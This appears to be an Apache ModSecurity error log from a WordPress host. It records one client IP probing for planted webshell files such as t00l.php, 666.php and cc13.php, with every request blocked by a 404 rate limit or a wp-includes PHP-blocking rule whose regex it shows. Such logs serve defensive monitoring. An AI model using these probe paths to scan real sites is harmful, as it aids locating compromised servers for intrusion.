[Sat Feb 28 21:28:51.132767 2026] [:error] [pid 11791:tid 11803] [client 40.85.222.96:36099] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaLtk2uX5e1Q32gqxH3JQAAAAQo"]
[Sat Feb 28 21:28:52.165614 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:36643] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/themes.php"] [unique_id "aaLtlLTHSOG_yf2PpqF2XQAAAdI"]
[Sat Feb 28 21:28:54.326278 2026] [:error] [pid 39184:tid 39235] [client 40.85.222.96:45381] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaLtlltZF9Zd_U7easDHygAAAFA"]
[Sat Feb 28 21:28:55.842258 2026] [:error] [pid 39183:tid 39193] [client 40.85.222.96:40197] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaLtlxCf4HvhVePw3LZPuwAAAAE"]
[Sat Feb 28 21:28:56.671086 2026] [:error] [pid 39183:tid 39209] [client 40.85.222.96:40298] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaLtmBCf4HvhVePw3LZPvwAAABE"]
[Sat Feb 28 21:28:57.452859 2026] [:error] [pid 52460:tid 52464] [client 40.85.222.96:40199] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaLtmbLWOogAgHGh62SPnQAAAYE"]
[Sat Feb 28 21:28:58.687473 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:40259] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/daff42833e.php"] [unique_id "aaLtmrTHSOG_yf2PpqF2gQAAAdg"]
[Sat Feb 28 21:29:00.105147 2026] [:error] [pid 49763:tid 49785] [client 40.85.222.96:45354] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/daff42833e.php"] [unique_id "aaLtnLTHSOG_yf2PpqF2jgAAAdM"]
[Sat Feb 28 21:29:00.938659 2026] [:error] [pid 39292:tid 39307] [client 40.85.222.96:46432] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/daff42833e.php"] [unique_id "aaLtnKIAO5fN7BxyqcGBvAAAAM0"]
[Sat Feb 28 21:29:01.681764 2026] [:error] [pid 39183:tid 39215] [client 40.85.222.96:40226] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/daff42833e.php"] [unique_id "aaLtnRCf4HvhVePw3LZPyQAAABc"]
[Sat Feb 28 21:29:02.885450 2026] [:error] [pid 39184:tid 39223] [client 40.85.222.96:42579] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aaLtnltZF9Zd_U7easDH2gAAAEQ"]
[Sat Feb 28 21:29:04.302521 2026] [:error] [pid 52460:tid 52480] [client 40.85.222.96:45387] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aaLtoLLWOogAgHGh62SPrgAAAZE"]
[Sat Feb 28 21:29:05.443510 2026] [:error] [pid 11791:tid 11816] [client 40.85.222.96:46445] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aaLtoWuX5e1Q32gqxH3JUQAAARc"]
[Sat Feb 28 21:29:06.618661 2026] [:error] [pid 39184:tid 39242] [client 40.85.222.96:45880] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/cc13.php"] [unique_id "aaLtoltZF9Zd_U7easDH5wAAAFc"]
[Sat Feb 28 21:29:07.482587 2026] [:error] [pid 22194:tid 22212] [client 40.85.222.96:47216] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/V2_xml.php"] [unique_id "aaLto36mbajs3bzQGyun7QAAAVA"]
[Sat Feb 28 21:29:08.601354 2026] [:error] [pid 39183:tid 39213] [client 40.85.222.96:2486] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/V2_xml.php"] [unique_id "aaLtpBCf4HvhVePw3LZP0wAAABU"]
[Sat Feb 28 21:29:09.669559 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:2268] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/V2_xml.php"] [unique_id "aaLtpbTHSOG_yf2PpqF2ygAAAdg"]
[Sat Feb 28 21:29:10.603482 2026] [:error] [pid 39183:tid 39193] [client 40.85.222.96:46347] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/V2_xml.php"] [unique_id "aaLtphCf4HvhVePw3LZP4AAAAAE"]
[Sat Feb 28 21:29:11.664990 2026] [:error] [pid 49763:tid 49766] [client 40.85.222.96:48975] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/bnm.php"] [unique_id "aaLtp7THSOG_yf2PpqF24QAAAcA"]
[Sat Feb 28 21:29:12.301165 2026] [:error] [pid 49763:tid 49772] [client 40.85.222.96:2229] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/bnm.php"] [unique_id "aaLtqLTHSOG_yf2PpqF26wAAAcY"]
[Sat Feb 28 21:29:13.748761 2026] [:error] [pid 49763:tid 49768] [client 40.85.222.96:50238] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/bnm.php"] [unique_id "aaLtqbTHSOG_yf2PpqF3AQAAAcI"]
[Sat Feb 28 21:29:15.598256 2026] [:error] [pid 49763:tid 49781] [client 40.85.222.96:48906] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/bnm.php"] [unique_id "aaLtq7THSOG_yf2PpqF3FwAAAc8"]
[Sat Feb 28 21:29:17.518491 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:48406] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ccs.php"] [unique_id "aaLtrRCf4HvhVePw3LZP-QAAAAs"]
[Sat Feb 28 21:29:18.339469 2026] [:error] [pid 39183:tid 39202] [client 40.85.222.96:48488] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ccs.php"] [unique_id "aaLtrhCf4HvhVePw3LZQAAAAAAo"]
[Sat Feb 28 21:29:19.321750 2026] [:error] [pid 39183:tid 39199] [client 40.85.222.96:49772] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ccs.php"] [unique_id "aaLtrxCf4HvhVePw3LZQCQAAAAc"]
[Sat Feb 28 21:29:21.077338 2026] [:error] [pid 39183:tid 39204] [client 40.85.222.96:48454] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ccs.php"] [unique_id "aaLtsRCf4HvhVePw3LZQGAAAAAw"]
[Sat Feb 28 21:29:22.721732 2026] [:error] [pid 49763:tid 49790] [client 40.85.222.96:48926] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/pu8.php"] [unique_id "aaLtsrTHSOG_yf2PpqF3YAAAAdg"]
[Sat Feb 28 21:29:24.103820 2026] [:error] [pid 52460:tid 52465] [client 40.85.222.96:50215] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/pu9.php"] [unique_id "aaLttLLWOogAgHGh62SP3AAAAYI"]
[Sat Feb 28 21:29:25.928215 2026] [:error] [pid 52460:tid 52463] [client 40.85.222.96:49706] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/povoy.php"] [unique_id "aaLttbLWOogAgHGh62SP5wAAAYA"]
[Sat Feb 28 21:29:27.140459 2026] [:error] [pid 39183:tid 39203] [client 40.85.222.96:51098] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/t00l.php"] [unique_id "aaLttxCf4HvhVePw3LZQLAAAAAs"]
[Sat Feb 28 21:29:28.864347 2026] [:error] [pid 39183:tid 39200] [client 40.85.222.96:48462] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/rcc8.php"] [unique_id "aaLtuBCf4HvhVePw3LZQOAAAAAg"]
[Sat Feb 28 21:29:29.466783 2026] [:error] [pid 39183:tid 39209] [client 40.85.222.96:48417] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/rcc9.php"] [unique_id "aaLtuRCf4HvhVePw3LZQOgAAABE"]
[Sat Feb 28 21:29:31.389648 2026] [:error] [pid 39183:tid 39208] [client 40.85.222.96:49698] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/xl9.php"] [unique_id "aaLtuxCf4HvhVePw3LZQSwAAABA"]
[Sat Feb 28 21:29:32.140714 2026] [:error] [pid 52460:tid 52480] [client 40.85.222.96:48400] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/gxoxx.php"] [unique_id "aaLtvLLWOogAgHGh62SQDQAAAZE"]
[Sat Feb 28 21:29:33.243907 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:49681] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/g06akt.php"] [unique_id "aaLtvbTHSOG_yf2PpqF31wAAAdI"]
[Sat Feb 28 21:29:55.780067 2026] [:error] [pid 39185:tid 39270] [client 40.85.222.96:49705] [client 40.85.222.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aaLt0xVE-FfM89u7BQak4AAAAJg"]
[Sat Feb 28 21:30:00.414064 2026] [:error] [pid 49763:tid 49785] [client 40.85.222.96:50200] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaLt2LTHSOG_yf2PpqF4_AAAAdM"]
[Sat Feb 28 21:30:02.688823 2026] [:error] [pid 39183:tid 39196] [client 40.85.222.96:51125] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaLt2hCf4HvhVePw3LZQ4wAAAAQ"]
[Sat Feb 28 21:30:04.412784 2026] [:error] [pid 39183:tid 39200] [client 40.85.222.96:48425] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaLt3BCf4HvhVePw3LZQ8AAAAAg"]
[Sat Feb 28 21:30:05.612486 2026] [:error] [pid 39183:tid 39210] [client 40.85.222.96:49749] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aaLt3RCf4HvhVePw3LZRAAAAABI"]
[Sat Feb 28 21:30:07.208923 2026] [:error] [pid 39183:tid 39193] [client 40.85.222.96:62304] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaLt3xCf4HvhVePw3LZREgAAAAE"]
[Sat Feb 28 21:30:08.205019 2026] [:error] [pid 39183:tid 39196] [client 40.85.222.96:51645] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaLt4BCf4HvhVePw3LZRHwAAAAQ"]
[Sat Feb 28 21:30:09.352687 2026] [:error] [pid 22194:tid 22215] [client 40.85.222.96:62281] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaLt4X6mbajs3bzQGyuoCwAAAVM"]
[Sat Feb 28 21:30:10.403768 2026] [:error] [pid 39183:tid 39200] [client 40.85.222.96:49770] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "aaLt4hCf4HvhVePw3LZRMQAAAAg"]
[Sat Feb 28 21:30:11.144283 2026] [:error] [pid 49763:tid 49773] [client 40.85.222.96:62319] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaLt47THSOG_yf2PpqF5QgAAAcc"]
[Sat Feb 28 21:30:12.335854 2026] [:error] [pid 49763:tid 49784] [client 40.85.222.96:51585] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaLt5LTHSOG_yf2PpqF5TgAAAdI"]
[Sat Feb 28 21:30:13.084406 2026] [:error] [pid 39184:tid 39239] [client 40.85.222.96:49763] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaLt5VtZF9Zd_U7easDIegAAAFQ"]
[Sat Feb 28 21:30:13.744884 2026] [:error] [pid 49763:tid 49766] [client 40.85.222.96:62224] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aaLt5bTHSOG_yf2PpqF5YwAAAcA"]
[Sat Feb 28 21:30:14.982458 2026] [:error] [pid 49763:tid 49786] [client 40.85.222.96:48472] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaLt5rTHSOG_yf2PpqF5awAAAdQ"]
[Sat Feb 28 21:30:16.146273 2026] [:error] [pid 39183:tid 39202] [client 40.85.222.96:49718] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaLt6BCf4HvhVePw3LZRUAAAAAo"]
[Sat Feb 28 21:30:17.374215 2026] [:error] [pid 49763:tid 49776] [client 40.85.222.96:62310] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaLt6bTHSOG_yf2PpqF5egAAAco"]
[Sat Feb 28 21:30:18.949116 2026] [:error] [pid 49763:tid 49776] [client 40.85.222.96:62276] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aaLt6rTHSOG_yf2PpqF5jQAAAco"]
[Sat Feb 28 21:30:19.961727 2026] [:error] [pid 49763:tid 49788] [client 40.85.222.96:51633] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaLt67THSOG_yf2PpqF5nQAAAdY"]
[Sat Feb 28 21:30:20.732122 2026] [:error] [pid 39184:tid 39242] [client 40.85.222.96:62330] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaLt7FtZF9Zd_U7easDIhQAAAFc"]
[Sat Feb 28 21:30:22.866061 2026] [:error] [pid 52460:tid 52480] [client 40.85.222.96:48475] [client 40.85.222.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X57.php"] [unique_id "aaLt7rLWOogAgHGh62SQxAAAAZE"]
